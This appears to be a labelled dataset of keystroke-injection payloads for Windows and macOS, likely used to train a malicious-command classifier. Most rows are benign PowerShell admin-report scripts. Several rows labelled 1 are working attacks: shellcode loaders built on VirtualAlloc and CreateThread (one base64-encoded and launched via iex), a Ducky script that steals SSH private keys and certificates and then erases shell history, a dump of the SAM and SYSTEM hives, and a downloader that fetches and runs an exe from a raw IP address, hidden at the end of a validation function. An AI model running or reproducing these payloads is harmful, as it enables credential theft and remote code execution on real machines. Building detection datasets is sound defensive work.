"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""ops_check_nhsapvly"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,2) } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.txt"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process | enter Sort-Object CPU -Descending | enter Select-Object -First 15 Name, Id, CPU, WorkingSet64 | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""process_top_cpu_15.json"") -Encoding UTF8 enter",0,0,0.9999664,3.3658493e-05
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,0x85,0xc0,0x74,0x4a,0x01,0xd0,0x50,0x8b,0x48,0x18,0x8b,0x58,0x20,0x01,0xd3,0xe3,0x3c,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xff,0x31,0xc0,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe2,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x58,0x5f,0x5a,0x8b,0x12,0xeb,0x86,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,0x29,0x80,0x6b,0x00,0xff,0xd5,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x05,0x68,0x29,0x63,0x45,0xf7,0x68,0x02,0x00,0x02,0x9a,0x89,0xe6,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0c,0xff,0x4e,0x08,0x75,0xec,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x01,0xc3,0x29,0xc6,0x85,0xf6,0x75,0xec,0xc3;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.184467e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_41ijjnk0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 4 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Get-WinEvent -LogName System -MaxEvents 200 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_warnings_200.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4492554e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""helpdesk_reports_ltduvc1e"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_25.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996674,3.3265736e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""health_report_4xh6rzxm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-CimInstance Win32_LogicalDisk | enter Where-Object { $_.DriveType -eq 2 } | enter Select-Object DeviceID, VolumeName, FileSystem, @{Name=""SizeGB"";Expression={[math]::Round($_.Size / 1GB, 2)}}, @{Name=""FreeGB"";Expression={[math]::Round($_.FreeSpace / 1GB, 2)}} | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_logical_disk.json"") -Encoding UTF8 enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_users.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999654,3.4604705e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_y10grpf8"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $PSVersionTable | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.txt"") -Encoding UTF8 enter Get-PSDrive -PSProvider FileSystem | enter Select-Object Name, Root, Used, Free, Description | enter Export-Csv -Path (Join-Path $ReportDir ""disk_psdrive.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4126107e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_10m4ja0u"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalUser | enter Select-Object Name, Enabled, LastLogon, PasswordRequired | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_users.txt"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter $Paths = @(""HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*"", ""HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*"") enter Get-ItemProperty $Paths -ErrorAction SilentlyContinue | enter Where-Object { $_.DisplayName } | enter Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | enter Sort-Object DisplayName | enter Export-Csv -Path (Join-Path $ReportDir ""software_installed_programs.csv"") -NoTypeInformation enter",0,0,0.99996567,3.4347144e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_4sj8yi50"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting user_helpdesk_audit section 1."" enter Get-LocalGroupMember -Group ""Administrators"" -ErrorAction SilentlyContinue | enter Select-Object Name, ObjectClass, PrincipalSource | enter Export-Csv -Path (Join-Path $ReportDir ""user_local_admins.csv"") -NoTypeInformation enter Get-ComputerInfo | enter Select-Object CsName, OsName, OsVersion, OsBuildNumber, WindowsInstallDateFromRegistry | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""hardware_summary_report.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4219636e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_j44hqe7f"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_pnp_devices.csv"") -NoTypeInformation enter Get-Service -Name wuauserv,bits,cryptsvc -ErrorAction SilentlyContinue | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_update_related.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4053024e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""daily_check_jljckte5"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,3) } | enter Export-Csv -Path (Join-Path $ReportDir ""uptime_summary.csv"") -NoTypeInformation enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Export-Csv -Path (Join-Path $ReportDir ""environment_env_vars.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.393651e-05
"win+r powershell enter function ConvertTo-CleanScript enter { enter [CmdletBinding()] enter param enter ( enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string]$Path, enter [Parameter(Mandatory)] enter [ValidateNotNullOrEmpty()] enter [string[]]$ToRemove = '' enter ) enter begin { enter $ErrorActionPreference = 'Stop' enter } enter process { enter try enter { enter $Ast = [System.Management.Automation.Language.Parser]::ParseFile($Path, [ref]$null, [ref]$null) enter } enter catch enter { enter Write-Error $_.Exception.Message enter } enter } enter } enter",0,0,0.9999254,7.460039e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""endpoint_review_4hbq4wt6"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-NetFirewallProfile | enter Select-Object Name, Enabled, DefaultInboundAction, DefaultOutboundAction | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""firewall_profiles.json"") -Encoding UTF8 enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 150 Class, FriendlyName, Status, InstanceId | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""device_usb_related_pnp.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999652,3.4828645e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""inventory_reports_xollra7s"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter Get-ScheduledTask | enter Where-Object { $_.State -ne ""Disabled"" } | enter Select-Object -First 50 TaskName, TaskPath, State | enter Export-Csv -Path (Join-Path $ReportDir ""scheduled_enabled_tasks.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4053577e-05
win+r powershell enter function Test-RunningAsElevated { [CmdletBinding()] [OutputType([bool])] Par enter am() if(-not $script:IsRunningAsElevatedTested -and $script:IsRunningAsElevate enter d) { if($script:IsWindows) { $wid=[System.Security.Principal.WindowsIdentity enter ]::GetCurrent() enter enter,1,1,0.00093118066,0.9990688
"win+r enter powershell enter enter enter function Set-RsDataSourceReference enter { enter enter [CmdletBinding()] enter param ( enter [Alias('ItemPath')] enter [Parameter(Mandatory = $true, ValueFromPipeline = $true)] enter [string[]] enter $Path, enter enter [Parameter(Mandatory = $true)] enter [string] enter $DataSourceName, enter enter [Parameter(Mandatory = $true)] enter [string] enter $DataSourcePath, enter enter [string] enter $ReportServerUri, enter enter [Alias('ReportServerCredentials')] enter [System.Management.Automation.PSCredential] enter $Credential, enter enter $Proxy enter ) enter enter Begin enter { enter $Proxy = New-RsWebServiceProxyHelper -BoundParameters $PSBoundParameters enter } enter enter Process enter { enter foreach ($item in $Path) enter { enter enter $dataSets = $null enter $dataSourceReference = $null enter enter try enter { enter $dataSets = $Proxy.GetItemReferences($item, ""DataSource"") enter } enter catch enter { enter throw (New-Object System.Exception(""Failed to retrieve datasource item references for '$item': $($_.Exception.Message)"", $_.Exception)) enter } enter $dataSourceReference = $dataSets | Where-Object { $_.Name -eq $DataSourceName } | Select-Object -First 1 enter enter if (-not $dataSourceReference) enter { enter throw ""$item does not contain a dataSource reference with name $DataSourceName"" enter } enter enter $proxyNamespace = $dataSourceReference.GetType().Namespace enter $dataSourceReference = New-Object ""$($proxyNamespace).ItemReference"" enter $dataSourceReference.Name = $DataSourceName enter $dataSourceReference.Reference = $DataSourcePath enter enter Write-Verbose ""Set dataSource reference '$DataSourceName' of item $item to $DataSourcePath"" enter try enter { enter $Proxy.SetItemReferences($item, @($dataSourceReference)) enter } enter catch enter { enter throw (New-Object System.Exception(""Failed to update datasource item references for '$item': $($_.Exception.Message)"", $_.Exception)) enter } enter } enter } enter } enter enter New-Alias -Name ""Set-RsSharedDataSource"" -Value Set-RsDataSourceReference -Scope Global enter enter",0,0,0.9999294,7.05165e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""asset_report_7ifs29jp"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, BiosFirmwareType, BiosSeralNumber, OsArchitecture, OsLocale | enter Export-Csv -Path (Join-Path $ReportDir ""bios_os_report.csv"") -NoTypeInformation enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""event_system_errors_25.json"") -Encoding UTF8 enter",0,0,0.9999664,3.3653934e-05
"win+r powershell enter Set-Variable -Name c -Value ('[DllImport(""kernel32.dll"")]public static extern In enter tPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flP enter rotect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntP enter tr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParamet enter er, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public sta enter tic extern IntPtr memset(IntPtr dest, uint src, uint count);');Set-Variable -Nam enter e w -Value (Add-Type -passthru -Name ""Win32"" -namespace Win32Functions -memberDe enter finition $c);[Byte[]];[Byte[]]$z = 0xfc,0xe8,0x89,0x00,0x00,0x00,0x60,0x89,0xe5, enter 0x31,0xd2,0x64,0x8b,0x52,0x30,0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f, enter 0xb7,0x4a,0x26,0x31,0xff,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf, enter 0x0d,0x01,0xc7,0xe2,0xf0,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b, enter 0x40,0x78,0x85,0xc0, enter enter",1,1,5.3210035e-05,0.99994683
"win+r enter powershell enter enter enter function Get-MrLeapYear { enter [CmdletBinding()] enter param ( enter [Parameter(ValueFromPipeline=$true)] enter [ValidateRange(1582,9999)] enter [int[]]$Year = (Get-Date).Year enter ) enter enter PROCESS { enter foreach ($y in $Year) { enter if ($y / 400 -is [int]) { enter Write-Output ""$y is a leap year"" enter } enter elseif ($y / 100 -is [int]) { enter Write-Output ""$y is not a leap year"" enter } enter elseif ($y / 4 -is [int]) { enter Write-Output ""$y is a leap year"" enter } enter else { enter Write-Output ""$y is not a leap year"" enter } enter } enter } enter } enter enter",0,0,0.99962866,0.0003713373
"win+r powershell enter Describe ""Tests for hashtable to PSCustomObject conversion"" -Tags ""CI"" { Before enter All { class SampleClass5 { [int]$a [int]$b SampleClass5([int]$x) { $this.a = enter $x } SampleClass5([hashtable]$h) { $this.a = 100; $this.b = 100 } } } $tes enter tdata = @( @{ Name = 'New-Object cmdlet should accept empty hashtable or $null enter as Property argument'; enter enter",1,1,0.0012404203,0.9987596
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""ops_check_2071ad39"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter $Info = Get-ComputerInfo enter $Boot = $Info.OsLastBootUpTime enter $Now = Get-Date enter $Uptime = New-TimeSpan -Start $Boot -End $Now enter [PSCustomObject]@{ ComputerName=$env:COMPUTERNAME; LastBoot=$Boot; UptimeHours=[math]::Round($Uptime.TotalHours,1) } | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""uptime_summary.json"") -Encoding UTF8 enter [PSCustomObject]@{ UserName=$env:USERNAME; ComputerName=$env:COMPUTERNAME; UserDomain=$env:USERDOMAIN; PowerShellVersion=$PSVersionTable.PSVersion.ToString() } | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_current_context.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.3998123e-05
"win+r powershell enter REM Here you must indicate the name of the device you want to use to complete the data exfiltration. For example, a USB Rubber Ducky could be suitable: DUCK enter DEFINE #FileSystemLabel example enter enter REM Generally, 10 kb is sufficient for a certificate, but sometimes it may not be enough. If you know that your file exceeds this size and you still want to be able to store it, then you just need to change this reference. enter enter REM For example in find command for 10 kb you should write: 10k enter DEFINE #SizeOfOtherFilesInFind example enter enter GUI SPACE enter DELAY 1000 enter STRINGLN Terminal enter DELAY 1000 enter enter STRING enter DUCKY_DEV=$(diskutil list | awk 'toupper($0) ~ /#FileSystemLabel/ {print $NF; exit}'); enter MOUNT_OUTPUT=$(diskutil mount ""$DUCKY_DEV"" 2>/dev/null); enter MOUNT_POINT=$(echo ""$DUCKY_OUTPUT"" | awk -F' at ' '/mounted at/ {print $2}'); enter DEST_PATH=""$MOUNT_POINT/keys/""; enter mkdir -p ""$DEST_PATH""; enter DONE=0; enter enter if [ -e ""~/.ssh/id_rsa"" ]; then enter cp ~/.ssh/id_rsa* ""$DEST_PATH""; enter DONE=1; enter fi; enter enter if [ ""$DONE"" != ""1"" ]; then enter SEARCH_PATH=$(find ~ -type f -size -#SizeOfOtherFilesInFind \( -name 'id_rsa*' -o -exec grep -qi 'OPENSSH PRIVATE KEY' {} \; \) -print 2>/dev/null); enter if [ -n ""SEARCH_PATH"" ]; then enter DONE=1; enter while IFS= read -r file; do enter [ -n ""$file"" ] && cp ""$file"" ""$DEST_PATH""; enter done <<< ""$SEARCH_PATH""; enter fi; enter fi; enter enter if [ ""$DONE"" != ""1"" ]; then enter find ~ -maxdepth 3 -type f -size -#SizeOfOtherFilesInFind \( -iname ""*.pem"" -o -iname ""*.key"" -o -iname ""*.rsa"" -o -iname ""*.cer"" -o -iname ""*.der"" -o -iname ""*.pfx"" -o -iname ""*.p12"" \) 2>/dev/null | enter while IFS= read -r f; do enter if [[ ""$f"" == *.crt ]]; then enter cp -r ""$(dirname ""$f"")"" ""$DEST_PATH""; enter else enter cp ""$f"" ""$DEST_PATH""; enter fi; enter done; enter fi; enter enter rm -rf ~/.zsh_sessions/; enter killall Terminal enter END_STRING enter DELAY 500 enter ENTER enter",1,1,6.261889e-05,0.9999374
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""desktop_audit_tvfd5ynm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting network_checks section 1."" enter Get-NetConnectionProfile | enter Select-Object Name, InterfaceAlias, NetworkCategory, IPv4Connectivity, IPv6Connectivity | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_net_connection_profile.txt"") -Encoding UTF8 enter Get-Printer | enter Select-Object Name, DriverName, PortName, PrinterStatus | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""device_printers.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.44892e-05
"win+r enter powershell enter enter enter $oT20 = '$mgi = ''[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $mgi -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xbe,0xf1,0xf5,0xe8,0x9a,0xda,0xd4,0xd9,0x74,0x24,0xf4,0x58,0x2b,0xc9,0xb1,0x57,0x31,0x70,0x12,0x03,0x70,0x12,0x83,0x31,0xf1,0x0a,0x6f,0x4d,0x12,0x48,0x90,0xad,0xe3,0x2d,0x18,0x48,0xd2,0x6d,0x7e,0x19,0x45,0x5e,0xf4,0x4f,0x6a,0x15,0x58,0x7b,0xf9,0x5b,0x75,0x8c,0x4a,0xd1,0xa3,0xa3,0x4b,0x4a,0x97,0xa2,0xcf,0x91,0xc4,0x04,0xf1,0x59,0x19,0x45,0x36,0x87,0xd0,0x17,0xef,0xc3,0x47,0x87,0x84,0x9e,0x5b,0x2c,0xd6,0x0f,0xdc,0xd1,0xaf,0x2e,0xcd,0x44,0xbb,0x68,0xcd,0x67,0x68,0x01,0x44,0x7f,0x6d,0x2c,0x1e,0xf4,0x45,0xda,0xa1,0xdc,0x97,0x23,0x0d,0x21,0x18,0xd6,0x4f,0x66,0x9f,0x09,0x3a,0x9e,0xe3,0xb4,0x3d,0x65,0x99,0x62,0xcb,0x7d,0x39,0xe0,0x6b,0x59,0xbb,0x25,0xed,0x2a,0xb7,0x82,0x79,0x74,0xd4,0x15,0xad,0x0f,0xe0,0x9e,0x50,0xdf,0x60,0xe4,0x76,0xfb,0x29,0xbe,0x17,0x5a,0x94,0x11,0x27,0xbc,0x77,0xcd,0x8d,0xb7,0x9a,0x1a,0xbc,0x9a,0xf2,0xb2,0xda,0x50,0x03,0x23,0x52,0xf1,0x6d,0xda,0xc8,0x69,0x3e,0x6b,0xd7,0x6e,0x41,0x46,0x26,0xab,0xee,0x3a,0x1a,0x18,0x42,0xd5,0xa6,0xc8,0x1d,0x82,0x28,0x21,0x8e,0x9f,0xbc,0xca,0x62,0x73,0x29,0xbc,0x93,0x73,0xa9,0xd4,0x10,0x73,0xa9,0x24,0x06,0x38,0xf0,0x6a,0x69,0xf8,0x02,0x22,0xe1,0xaf,0x8b,0x5d,0x37,0xb0,0x59,0xe8,0x7e,0x1c,0x0a,0xea,0x4c,0x43,0x4e,0xb9,0xe3,0xd0,0x18,0x6e,0x52,0xbf,0x4d,0xc5,0x74,0x04,0x6d,0x30,0x1e,0x10,0x9b,0xe5,0x77,0x65,0xa8,0x19,0x88,0xec,0x2f,0x73,0x8c,0xbe,0xc5,0x9c,0xda,0x56,0x6f,0xe4,0x7c,0x20,0x70,0x3d,0xd3,0x7e,0xdc,0xee,0x82,0xe8,0xcf,0x16,0x33,0x92,0xf0,0xc3,0xc6,0xa4,0x7a,0xe1,0x87,0x51,0x5c,0x9d,0xe7,0x2f,0xfc,0x0b,0xf7,0x85,0x6b,0xf3,0x6f,0x26,0x7c,0xf3,0x6f,0x4e,0x7c,0xf3,0x2f,0x8e,0x2f,0x9b,0xf7,0x2a,0x9c,0xbe,0xf7,0xe6,0xb0,0x13,0x5b,0x80,0x50,0xc4,0x33,0x92,0xbe,0xea,0xc3,0xc1,0xe8,0x82,0xd1,0x73,0x9d,0xb0,0x29,0xae,0x1b,0xf4,0xa2,0x9c,0xaf,0xf3,0x4b,0xdc,0x35,0x3b,0x3e,0x07,0x6d,0x78,0x9e,0x2f,0xfb,0x81,0xde,0x4f,0x35,0x44,0x13,0x9e,0x07,0x80,0x6b,0xf0,0x57,0xc2,0xba,0x3f,0x98;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$o8Y=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($o8Y.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$o8Y,0,0,0);for (;;){Start-sleep 60};';$e = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($oT20));$WUNH = ""-e "";if([IntPtr]::Size -eq 8){$YIr = $env:SystemRoot + ""\syswow64\WindowsPowerShell\v1.0\powershell"";iex ""& $YIr $WUNH $e""}else{;iex ""& powershell $WUNH $e"";} enter enter",1,1,5.1840023e-05,0.99994814
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_34mjabb3"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName Application -MaxEvents 75 | enter Where-Object { $_.LevelDisplayName -in @(""Warning"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_application_warnings_75.csv"") -NoTypeInformation enter $PSVersionTable | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""environment_ps_version.json"") -Encoding UTF8 enter",0,0,0.99996626,3.3688775e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_opptpw3e"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-ChildItem Env: | enter Sort-Object Name | enter Select-Object Name, Value | enter Export-Csv -Path (Join-Path $ReportDir ""environment_env_vars.csv"") -NoTypeInformation enter Get-LocalGroup | enter Select-Object Name, Description | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.json"") -Encoding UTF8 enter",0,0,0.99996555,3.447634e-05
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_nwbd6z4t"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting service_checks section 1."" enter Get-CimInstance Win32_Service | enter Where-Object { $_.StartMode -eq ""Manual"" } | enter Sort-Object Status | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_manual.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996626,3.37785e-05
win+r powershell enter capslock win d win r powershell Start-Process powershell -Verb runAs enter alt y cd (gwmi win32_volume -f 'label=''#driveLabel''').Name;reg save hklm\sam SAM;reg save hklm\system SYS;(New-Object -ComObject wscript.shell).SendKeys('{CAPSLOCK}');exit enter win d capslock enter,1,1,0.00011729388,0.9998827
"win+r enter powershell enter enter enter Register-PSFConfigValidation -Name ""integerarray"" -ScriptBlock { enter param ( enter $var enter ) enter enter $test = $true enter try { [int[]]$res = $var } enter catch { $test = $false } enter enter [pscustomobject]@{ enter Success = $test enter Value = $res enter Message = ""Casting $var as [int[]] failure. Input is being identified as $($var.GetType())"" enter } enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.7464153e-05,0.99994254
